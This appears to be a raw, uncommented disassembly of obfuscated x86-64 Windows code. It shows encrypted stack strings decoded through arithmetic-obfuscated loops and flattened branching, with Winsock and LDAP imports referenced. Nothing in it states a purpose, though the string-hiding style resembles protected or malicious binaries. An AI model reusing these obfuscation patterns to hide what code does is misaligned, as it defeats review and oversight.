cmp rbx, rax
jne 0x1401016d3
movabs rcx, 0x6fb259d0ba86349c
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x44
add r11b, cl
movzx edx, r11b
jmp 0x140101b5f
mov byte [rbp + r10 + 0xf0], dl
mov qword [rsp + 0x38], rdx
inc r10
jmp 0x1401010e6
movabs rdx, 0xe1c867c960128c70
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r8d, byte [rbp + r10 + 0xf0]
sub r8b, al
sub r8b, 0x10
add r8b, r11b
add r8b, dl
movabs rdx, 0x57a568c8d99c92b6
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xf0], cl
mov qword [rsp + 0x38], r8
add rbx, r9
mov rdx, r8
jmp 0x140101b64
movabs rdx, 0xcd8269c8532698fc
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r8d, [rcx + rcx]
sub r8b, byte [rbp + r10 + 0xf0]
add r8b, r11b
add r8b, dl
jmp 0x140101b9d
movabs rdx, 0x8f124ec90f2e81e
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
jmp 0x140101bd2
movabs rdx, 0x1d3722ed9ddedb92
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
jmp 0x140101b9d
movabs rcx, 0x317d20eeaacacf06
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2a
jmp 0x140101b5f
movabs rcx, 0x45c31eefb7b6c27a
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r8d, [r11 + rcx]
sub r8b, 0x56
mov qword [rsp + 0x38], r8
add rbx, r9
mov rdx, r8
jmp 0x140101b64
movabs rdx, 0x96db16f3eb66904a
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx r8d, r11b
sub r8b, al
sub r8b, 6
add r8b, dl
movabs rcx, 0x6beb66c9e688862a
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x26
add r11b, cl
mov byte [rbp + r10 + 0xf0], r11b
inc r9
dec r10
mov qword [rsp + 0x38], r8
inc r10
jmp 0x1401010e6
movabs rdx, 0xe7f30ef81f165e1a
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
dec r10
mov qword [rsp + 0x38], r8
inc r10
jmp 0x1401010e6
movabs rcx, 0x24c508fb45da3876
add rcx, r10
movzx eax, cl
and al, r8b
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x3a
mov qword [rsp + 0x38], rdx
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1401010e6
mov r11, r8
movabs rax, 0x390b06fc52c62bea
add rax, r10
and r8b, al
add r8b, r8b
sub al, r8b
lea r8d, [r11 + rax]
sub r8b, 0x66
movabs rdx, 0x435f6ac7ccb09f42
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xf0], al
inc r9
add rax, r9
sub r10, rax
movabs rdx, 0xb93c6bc7463aa588
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + r10 + 0xf0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x140101c2f
movabs rdx, 0x619702fe6c9e12d2
add rdx, r10
movzx eax, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add r8b, cl
add r8b, dl
movzx eax, byte [rbp + r10 + 0xf0]
add rax, r9
add r10, rax
mov qword [rsp + 0x38], r8
inc r10
jmp 0x1401010e6
movabs rdx, 0x3bd184ba24b5425e
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
mov qword [rsp + 0x38], r8
jmp 0x1401010e3
movabs rdx, 0x501782bb31a135d2
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r11b
mov qword [rsp + 0x38], r8
jmp 0x1401010d3
lea r8, [rbp + 0x17c37f8]
jmp 0x140101cc0
lea r8, [rbp + 0x463e3e]
jmp 0x140101cc0
lea r8, [rbp + 0xf0]
mov r9, 0xffffffffffffffff
nop word [rax + rax]
inc r9
cmp byte [r8 + r9], 0
jne 0x140101cd0
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
call fcn.140043a10
test al, al
jne 0x14010495b
cmp byte [0x140437460], al
je 0x140108fa4
mov byte [rbp + 0x440], 0x86
mov byte [rbp + 0x441], 0x59
mov byte [rbp + 0x442], 0xfb
mov byte [rbp + 0x443], 0x5b
mov byte [rbp + 0x444], 0xed
mov byte [rbp + 0x445], 0x55
mov byte [rbp + 0x446], 0xe2
mov byte [rbp + 0x447], 0x57
mov byte [rbp + 0x448], 0xed
mov byte [rbp + 0x449], 0x51
mov byte [rbp + 0x44a], 0xee
mov byte [rbp + 0x44b], 0x53
mov byte [rbp + 0x44c], 0xcc
mov byte [rbp + 0x44d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x44e], 0xa2
mov byte [rbp + 0x44f], Ordinal_50
mov byte [rbp + 0x450], 0x9f
mov byte [rbp + 0x451], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x452], 0xca
mov byte [rbp + 0x453], Ordinal_46
mov byte [rbp + 0x454], 0x90
mov byte [rbp + 0x455], Ordinal_41
mov byte [rbp + 0x456], __WSAFDIsSet
mov byte [rbp + 0x457], Ordinal_45
mov byte [rbp + 0x458], 0x81
mov byte [rbp + 0x459], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x45a], 0x9e
mov byte [rbp + 0x45b], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x45c], 0xdc
mov byte [rbp + 0x45d], 0x3d
mov byte [rbp + 0x45e], 0xb2
mov byte [rbp + 0x45f], 0x3f
mov byte [rbp + 0x460], 0x80
mov byte [rbp + 0x461], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x462], 0x87
mov byte [rbp + 0x463], Ordinal_60
mov byte [rbp + 0x464], Ordinal_217
mov byte [rbp + 0x465], gethostname
mov byte [rbp + 0x466], Ordinal_143
mov byte [rbp + 0x467], gethostname
mov byte [rbp + 0x468], 0x82
mov byte [rbp + 0x469], Ordinal_50
mov byte [rbp + 0x46a], Ordinal_143
mov byte [rbp + 0x46b], gethostname
mov byte [rbp + 0x46c], 0x82
mov byte [rbp + 0x46d], reloc.WS2_32.dll_listen
mov byte [rbp + 0x46e], 0xb3
mov byte [rbp + 0x46f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x470], 0xba
mov byte [rbp + 0x471], 9
mov byte [rbp + 0x472], 0xa
mov byte [rbp + 0x473], recvfrom
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x474], xmm0
mov qword [rbp + 0x484], rax
mov word [rbp + 0x48c], ax
nop dword [rax + rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x4e
jae 0x140102b5e
movzx r11d, byte [rbp + r10 + 0x440]
mov r8d, r11d
nop dword [rax]
cmp rbx, r10
ja 0x140102b55
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140101ef9
movabs rcx, 0xd58e5ea2f170b134
add rcx, r10
mov rax, rcx
and rax, r8
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r8
sub dl, 0x6c
mov qword [rsp + 0x40], rdx
jmp 0x140101f40
je 0x140102ac2
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140102a16
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401029d8
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401029ad
lea rax, [r9 + 7]
cmp rbx, rax
je 0x14010297c
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140102926
cmp r9, r10
ja 0x140102b4c
lea rax, [r9 + 5]
cmp rbx, rax
jae 0x140101f7a
movabs rdx, 0x84adc35dce3e8944
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rsp + 0x40], rdx
jmp 0x140101fa1
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140102903
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401028d8
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401028b2
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401025a1
nop
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14010257e
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14010254d
lea rax, [r9 + 6]
cmp rbx, rax
je 0x14010251f
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401024fe
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401024ea
lea rcx, [r9 + 0xa]
cmp rbx, rcx
je 0x1401024c4
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401024a1
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140102479
lea rax, [r9 + 0x28]
cmp rbx, rax
je 0x140102456
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140101fb0
mov rbx, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140102b24
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x140102afc
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1401021b5
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x14010218a
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x14010215f
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14010242e
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1401023ce
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14010237f
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x14010234c
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x140101fb0
lea rbx, [r9 + 0x5a]
lea r9, [rbx + 1]
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140102329
lea rax, [r9 + 0x41]
cmp rbx, rax
ja 0x1401022fe
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401022dd
lea rax, [r9 + 0x7a]
cmp rbx, rax
ja 0x1401022b7
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x14010228c
lea rcx, [r9 + 5]
cmp rbx, rcx
ja 0x140102269
lea rax, [r9 + 0x2a]
cmp rbx, rax
ja 0x14010223b
lea rax, [r9 + 4]
cmp rbx, rax
ja 0x14010220a
lea rax, [r9 + 9]
cmp rbx, rax
ja 0x1401021e4
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140101fb0
mov rbx, rcx
lea r9, [rcx + 8]
jmp 0x140101fb0
movabs rdx, 0xf44d62791830373c
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rsp + 0x40], rdx
jmp 0x140101fa1
movabs rdx, 0x4930a533354ed4d4
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rsp + 0x40], rdx
jmp 0x140101f40
movabs rdx, 0x9e13e7ed526d726c
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rsp + 0x40], rdx
movzx r8d, r11b
jmp 0x140101ec0
movabs rdx, 0x256e1aee71f44a20
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140102944
movabs rcx, 0x7a515da88f12e7b8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 8
inc r9
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
movabs rcx, 0xcf34a062ac318550
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
movabs rcx, 0x2417e31cc95022e8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x140102852
movabs rcx, 0x78fb25d6e66ec080
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
mov qword [rsp + 0x40], rdx
add rbx, r9
jmp 0x1401029fe
movabs rdx, 0xcdde6891038d5e18
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401029f9
movabs rdx, 0x22c1ab4b20abfbb0
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
jmp 0x140102a34
movabs rdx, 0x77a4ee053dca9948
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rsp + 0x40], rdx
jmp 0x140102a72
movabs rcx, 0xcc8830bf5ae936e0
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x140102ae0
movabs rcx, 0xa0c05790a3b5c0dc
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
mov qword [rsp + 0x40], rdx
mov byte [rbp + r10 + 0x440], dl
inc r10
jmp 0x140101ea3
movabs rcx, 0xf5a39a4ac0d45e74
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2c
mov qword [rsp + 0x40], rdx
cmp r9, 0x2a
jb 0x14010236f
movabs rcx, 0x16b9b4ec32e69ab8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x10]
jmp 0x140102944
movabs rcx, 0x4a86dd04ddf2fc0c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x54
mov qword [rsp + 0x40], rdx
cmp rbx, 0x10
jae 0x140102829
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140102740
movabs rdx, 0x679a50315618c2a8
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14010239d
movabs rcx, 0x9f6a1fbefb1199a4
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
mov qword [rsp + 0x40], rdx
jmp 0x140102679
movabs rcx, 0x1c129432d5773798
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x140102ae0
movabs rcx, 0x70f5d6ecf295d530
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
mov qword [rsp + 0x40], rdx
jmp 0x140102a72
movabs rcx, 0xc5d919a70fb472c8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x140102a39
movabs rdx, 0x1abc5c612cd31060
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401029f9
movabs rdx, 0x6f9f9f1b49f1adf8
mov ecx, Ordinal_30
jmp 0x1401029bc
movabs rdx, 0xc482e1d567104b90
mov ecx, 8
add rdx, r10
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
jmp 0x14010284d
movabs rcx, 0x1966248f842ee928
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
movabs rcx, 0x6e496749a14d86c0
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
inc r9
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
movabs rcx, 0xc32caa03be6c2458
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
jmp 0x140102944
lea rax, [r9 + 0x3e8]
cmp rbx, rax
jae 0x1401025d5
movabs rcx, 0xd58e5ea2f170b134
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6c
mov qword [rsp + 0x40], rdx
jmp 0x140102679
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140102604
movabs rdx, 0x95b86bb9c7d1288
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140102ae0
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140102630
movabs rcx, 0x5f950147623fd758
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
jmp 0x140102a39
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140102648
movabs rdx, 0x60eb39190ae3fe90
jmp 0x140102508
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140102674
movabs rcx, 0x624170eab38825c8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x140102944
mov rdx, qword [rsp + 0x40]
lea rax, [r9 + rbx]
cmp rax, 4
je 0x140102889
lea rax, [r9 + 6]
cmp rbx, rax
jbe 0x1401026b6
movabs rdx, 0xe2ec8cd387da3964
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401023ec
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401026e5
movabs rdx, 0x8e094a196abb9bcc
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140102944
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14010271f
movabs rcx, 0x3926075f4d9cfe34
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6c
inc r9
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401023f1
movabs rdx, 0x3a7c3f30f641256c
mov ecx, 6
jmp 0x1401029bc
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14010276c
movabs rcx, 0x12b70d7738fa2510
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x140102ae0
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140102798
movabs rcx, 0x68f08802febce9e0
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x140102a39
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401027c2
movabs rdx, 0x6a46bfd4a7611118
mov ecx, Ordinal_46
add rdx, r10
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
jmp 0x14010284d
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401027f9
movabs rcx, 0x15637d1a8a427380
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401023a2
movabs rcx, 0x6b9cf7a650053850
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
jmp 0x140102944
movabs rdx, 0xc1d6723215c7fd20
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, byte [rbp + r10 + 0x440]
add dl, cl
add dl, r11b
movabs rcx, 0x9764d0d50738ae54
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, dl
add r11b, cl
mov byte [rbp + r10 + 0x440], r11b
mov qword [rsp + 0x40], rdx
add rbx, r9
jmp 0x1401029fe
movabs rdx, 0x6cf32f77f8a95f88
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
sub cl, byte [rbp + r10 + 0x440]
jmp 0x140102a34
movabs rdx, 0x875a33011f86d7b4
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401029f9
movabs rcx, 0xdc3d75bb3ca5754c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x14
mov qword [rsp + 0x40], rdx
add rbx, r9
jmp 0x1401029fe
movabs rdx, 0x2fca80a3b11febac
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140102944
movabs rcx, 0xd9910617eb5d26dc
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
movabs rcx, 0xec48138f24574bec
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x74
add cl, r11b
mov byte [rbp + r10 + 0x440], cl
inc r9
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
movabs rcx, 0x2e7448d2087bc474
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2c
inc r9
mov qword [rsp + 0x40], rdx
dec r10
inc r10
jmp 0x140101ea3
movabs rdx, 0x2d1e11005fd79d3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rsp + 0x40], rdx
add rbx, r9
jmp 0x1401029fe
movabs rdx, 0x820153ba7cf63ad4
add rdx, r10
movzx eax, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rsp + 0x40], rdx
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140101ea3
mov r11, r8
movabs rcx, 0xd6e496749a14d86c
add rcx, r10
and r8b, cl
mov eax, 6
sub al, r8b
lea edx, [rax + rax]
add dl, cl
add dl, r11b
mov qword [rsp + 0x40], rdx
movabs rdx, 0x42818e1aea1a10bc
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x24
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x440], al
inc r9
add rax, r9
sub r10, rax
movabs rdx, 0x180fecbddb8ac1f0
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + r10 + 0x440], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x440]
add rax, r9
add r10, rax
inc r10
jmp 0x140101ea3
movabs rcx, 0x80ab1be8d452139c
add rcx, r10
movzx eax, r8b
and al, cl
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x44
mov qword [rsp + 0x40], rdx
movzx eax, byte [rbp + r10 + 0x440]
add rax, r9
add r10, rax
inc r10
jmp 0x140101ea3
movabs rcx, 0xf2f72aa76f8c1004
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1c
mov qword [rsp + 0x40], rdx
jmp 0x140101ea0
movabs rcx, 0x47da6d618caaad9c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
mov qword [rsp + 0x40], rdx
jmp 0x140101e90
lea rcx, [rbp + 0x1771330]
jmp 0x140102b65
lea rcx, [rbp + 0xe7c464]
jmp 0x140102b65
lea rcx, [rbp + 0x440]
call fcn.1400e0150
cmp byte [0x140437460], 0
je 0x140108fa4
mov byte [rbp + 0x320], Ordinal_143
mov byte [rbp + 0x321], 0x7b
mov byte [rbp + 0x322], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x323], 0x79
mov byte [rbp + 0x324], WSAGetLastError
mov byte [rbp + 0x325], 0x7f
mov byte [rbp + 0x326], 0xa0
mov byte [rbp + 0x327], 0x9b
mov byte [rbp + 0x328], 0x7f
mov byte [rbp + 0x329], 0x61
mov byte [rbp + 0x32a], 0x7b
mov byte [rbp + 0x32b], 0x79
mov byte [rbp + 0x32c], 0x63
mov byte [rbp + 0x32d], 0xa9
mov byte [rbp + 0x32e], Ordinal_143
mov byte [rbp + 0x32f], 0x53
mov byte [rbp + 0x330], 0xb6
mov byte [rbp + 0x331], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x332], xmm0
mov dword [rbp + 0x342], eax
mov byte [rbp + 0x346], al
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r9d, r9d
cmp r9, 0x27
jae 0x140103a03
movzx r10d, byte [rbp + r9 + 0x320]
mov rdx, r10
nop dword [rax]
cmp rbx, r9
ja 0x1401039fa
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140102c76
movabs r11, 0x3d699176c7e1
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdx
sub sil, 0x27
jmp 0x140102cc7
je 0x140103974
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1401038d7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1401038a1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14010384f
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140103825
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1401037cf
movabs r11, 0x3d699176c7e1
cmp r8, r9
ja 0x1401039f1
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140102cfa
movabs rcx, 0x509a8eebe6575
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x33
jmp 0x140102d30
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1401037ad
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14010377f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140103757
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140103732
nop
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x14010339c
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140103374
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140103347
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14010331c
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1401032f7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1401032cc
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1401032a7
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14010327f
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140103257
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140103221
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140102d40
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1401039cc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1401039a8
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140102f3f
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140102f17
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140102eef
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1401031c2
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14010315d
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14010310a
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1401030db
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140102d40
lea rbx, [r8 + 0x41]
lea r8, [rbx + 1]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1401030a5
